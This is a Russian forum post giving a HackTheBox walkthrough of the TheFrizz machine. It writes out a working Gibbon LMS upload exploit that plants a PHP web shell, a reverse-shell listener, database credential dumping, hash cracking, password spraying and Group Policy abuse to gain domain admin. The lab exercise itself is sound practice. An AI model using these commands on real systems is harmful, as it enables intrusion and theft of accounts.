• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем веб-сервер на Gibbon LMS

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,311
Розыгрыши
0
Реакции
591
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как эксплуатировать несложную веб‑уязвимость в системе удаленного обучения Gibbon, работающей на Windows. Получив возможность удаленного выполнения кода в системе, мы извлечем из базы данных учетки пользователей и полностью захватим сервер.
Наша конечная цель — получение прав суперпользователя на машине TheFrizz с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел 13 открытых портов:

  • 22 — OpenSSH;
  • 80 (HTTP) — веб‑сервер Apache 2.4.58;
  • 88 — Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC);
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 9389 — веб‑службы AD DS.
Веб‑сервер выполняет редирект на frizzdc.frizz.htb. Обновляем запись в файле /etc/hosts и открываем сайт через браузер.

10.10.11.60 thefrizz.htb frizzdc.frizz.htb frizz.htb
Главная страница сайта
Главная страница сайта

Точка входа​

На странице Welcome находим уведомление, в котором сказано о переходе на протоколы аутентификации Azure Active Directory и Kerberos.

Содержимое страницы Welcome
Содержимое страницы Welcome

Внизу страницы находим название и версию движка сайта — Gibbon v25.0.00. Первым делом стоит проверить, есть ли для нее уязвимости. Проще всего — поискать в Google.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

Из результатов узнаем, что Gibbon до версии v25.0.01 уязвим к Для просмотра ссылки Войди или Зарегистрируйся. Суть уязвимости заключается в том, что неавторизованный пользователь может загружать произвольные файлы на сервер, а это позволяет получить удаленное выполнение кода через загрузку PHP-шелла. Следующим запросом загрузим PHP-шелл asdf.php в каталог Gibbon.

curl -X POST '[URL]http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php[/URL]' -H 'Host: frizzdc.frizz.htb' --data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8+" -d 'path=asdf.php' -d 'gibbonPersonID=0000000001'
Теперь обратимся к загруженному веб‑шеллу для выполнения команды whoami.

curl '[URL]http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=whoami[/URL]'
Результат выполнения whoami
Результат выполнения whoami
Запустим на своем хосте листенер:

rlwrap nc -nlvp 4321
Теперь загрузим со своего веб‑сервера на удаленный хост netcat и выполним реверс‑шелл.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Сессия пользователя w.webservice
Сессия пользователя w.webservice

Точка опоры​

Так как мы работаем от имени учетной записи веб‑сервера, первым делом проверим файлы с настройками сайта — в надежде найти какие‑нибудь учетные данные. В файле config.php находим логин и пароль для подключения к базе данных.

Содержимое файла config.php
Содержимое файла config.php
Подключимся к СУБД и просмотрим существующие базы данных.

mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -se "show databases;"
Базы данных
Базы данных
Нам нужна база gibbon. Просмотрим в ней таблицы и найдем ту, в которой хранятся учетные данные пользователей CMS.

mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -se "use gibbon;show tables;"
Таблицы в базе gibbon
Таблицы в базе gibbon
Просмотрим описание таблицы gibbonperson и прикинем, какие столбцы могут содержать что‑то интересное.

mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -se "use gibbon;desc gibbonperson;"
Описание таблицы gibbonperson
Описание таблицы gibbonperson
Из этой таблицы мы можем получить имена пользователей, хеши паролей и соли.

mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "use gibbon;select username,passwordStrong,passwordStrongSalt from gibbonperson;"
Содержимое таблицы gibbonperson
Содержимое таблицы gibbonperson
Хеши можно перебрать, чтобы найти пароли. Для брута будем использовать hashcat в режиме SHA-256 + salt (-m 1420).

hashcat -m 1420 hash.txt rockyou.txt
Результат подбора пароля
Результат подбора пароля
При попытке подключиться по SSH получаем ошибку: протокол аутентификации не поддерживается.

Ошибка подключения по SSH
Ошибка подключения по SSH
Попробуем подключиться с использованием аутентификации Kerberos. Для этого внесем изменение в файл /etc/krb5.conf.

Код:
[libdefaults]
        default_realm = FRIZZ.HTB

[realms]
        FRIZZ.HTB = {
                kdc = frizz.htb
        }

[domain_realm]
        .frizz.htb = FRIZZ.HTB
        frizz.htb = FRIZZ.HTB

Запросим билет Kerberos с помощью скрипта getTGT из пакета Impacket.

faketime -f "+7h" getTGT.py frizz.htb/f.frizzle:Jenni_Luvs_Magic23 -dc-ip 10.10.11.60
Получение TGT-билета
Получение TGT-билета
Теперь с полученным тикетом авторизуемся по SSH.

KRB5CCNAME=f.frizzle.ccache faketime -f "+7h" ssh [EMAIL]f.frizzle@frizz.htb[/EMAIL] -K
Флаг пользователя
Флаг пользователя

Продвижение​

В рабочем окружении пользователя ничего интересного нет, на диске С тоже. Но всегда стоит проверять корзину пользователей в каталоге C:\$RECYCLE.BIN\<SID>.

Содержимое корзины пользователя
Содержимое корзины пользователя

В корзине находим два архива 7z, которые сначала переместим в промежуточный каталог, а затем скопируем по SSH на свою систему.

Код:
KRB5CCNAME=f.frizzle.ccache faketime -f "+7h" scp -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes f.frizzle@frizz.htb:/C:/Windows/Tasks/1.7z ./

KRB5CCNAME=f.frizzle.ccache faketime -f "+7h" scp -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes f.frizzle@frizz.htb:/C:/Windows/Tasks/2.7z ./

Разархивируем скачанные архивы и поищем в них интересные строки — например, passw.

Поиск подстроки passw
Поиск подстроки passw
В файле conf/waptserver.ini находим закодированный в Base64 пароль.

Содержимое файла waptserver.ini
Содержимое файла waptserver.ini
Декодированный пароль
Декодированный пароль

Составим список пользователей. Запросить его можно по LDAP с помощью Для просмотра ссылки Войди или Зарегистрируйся.

KRB5CCNAME=f.frizzle.ccache faketime -f "+7h" nxc ldap FRIZZDC.frizz.htb -u f.frizzle -k --use-kcache --users
Пользователи домена
Пользователи домена
Спреим найденный пароль по полученным учетным записям и компрометируем учетку M.SchoolBus.

faketime -f "+7h" nxc ldap FRIZZDC.frizz.htb -u users.txt -p '!suBcig@MehTed!R' -k --continue-on-success
Результат подбора учетных данных
Результат подбора учетных данных
По старой схеме запрашиваем тикет пользователя M.SchoolBus и авторизуемся по SSH.

faketime -f "+7h" getTGT.py 'frizz.htb/M.SchoolBus:!suBcig@MehTed!R' -dc-ip 10.10.11.60
Получение TGT-билета
Получение TGT-билета

KRB5CCNAME=M.SchoolBus.ccache faketime -f "+7h" ssh [EMAIL]M.SchoolBus@frizz.htb[/EMAIL] -K
Информация о пользователе
Информация о пользователе

Локальное повышение привилегий​

Пользователь состоит в группе Group Policy Creator Owners. Это дает нам право создать объект групповой политики, а затем настроить для выполнения нужных нам действий, например для добавления любой учетной записи в группу администраторов. Начнем с создания объекта групповой политики (GPO) evil.

New-GPO -Name evil
Создание объекта GPO
Создание объекта GPO

Теперь созданный объект нужно связать с подразделением, на которое распространяется групповая политика. Мы будем использовать подразделение контроллеров домена Domain Controllers.

New-GPLink -Name evil -Target "OU=Domain Controllers,DC=frizz,DC=htb"
Привязка объекта GPO
Привязка объекта GPO

Теперь используем скрипт Для просмотра ссылки Войди или Зарегистрируйся для изменения самого GPO. Наша групповая политика будет добавлять пользователя M.SchoolBus в локальную группу администраторов.

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName evil
Изменение объекта GPO
Изменение объекта GPO
Когда все готово, нужно просто обновить групповые политики на хосте.

gpupdate /force
Обновление групповых политик
Обновление групповых политик

Теперь пользователь станет локальным администратором на контроллере домена, а значит, мы сможем запросить его билет TGT и получить сессию через PsExec.

Код:
faketime -f "+7h" getTGT.py 'frizz.htb/M.SchoolBus:!suBcig@MehTed!R' -dc-ip 10.10.11.60
KRB5CCNAME=M.SchoolBus.ccache faketime -f "+7h" psexec.py 'frizz.htb/M.SchoolBus:!suBcig@MehTed!R'@FRIZZDC.frizz.htb -k -no-pass
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу